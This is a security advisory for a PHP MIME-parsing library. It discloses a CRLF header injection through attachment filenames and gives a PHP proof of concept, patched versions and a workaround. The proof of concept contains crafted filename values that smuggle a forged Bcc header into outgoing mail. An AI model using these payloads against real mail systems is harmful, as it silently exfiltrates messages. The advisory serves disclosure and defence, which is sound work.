### Impact
A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.
Attachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\r\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.
### Details
On the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\r\nBcc:
[email protected]` therefore serializes as:
```
Content-Disposition: attachment;
filename="doc
Bcc:
[email protected]"
```
The `filename` value closes after `doc`, and `Bcc:
[email protected]` stands as its own header line.
The decode side is affected as well, which is what makes purely inbound exploitation possible:
- `ParameterPart::decodePartValue()` `rawurldecode()`s an RFC 2231 `filename*=` parameter with no control-character stripping, so
a crafted `filename*=utf-8''doc%0D%0ABcc:...` makes `getFilename()` return a string with embedded `\r\n`.
- The RFC 2047 path (`MimeToken`) strips `\r`/`\n` from the *encoded* word, but then base64/quoted-printable-decodes it, which
can reintroduce CR/LF into the decoded value.
As a result `getFilename()` can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.
### Proof of concept
```php
composer require zbateson/mail-mime-parser
<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;
$parser = new MailMimeParser();
function attachAndReport(string $filename): void {
$out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
$out->addAttachmentPart('payload', 'application/octet-stream', $filename);
echo (strpos($out->__toString(), "\r\nBcc:
[email protected]") !== false)
? "INJECTED\n" : "clean\n";
}
attachAndReport('invoice.pdf'); // => clean
attachAndReport("doc\r\nBcc:
[email protected]"); // => INJECTED
// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
. "--b\r\nContent-Type: application/octet-stream\r\n"
. "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%
[email protected]\r\n\r\n"
. base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn); // => string(28) "doc\r\nBcc:
[email protected]"
attachAndReport($fn); // => INJECTED
```
### Patches
Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.
Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.
### Workarounds
If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).
- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.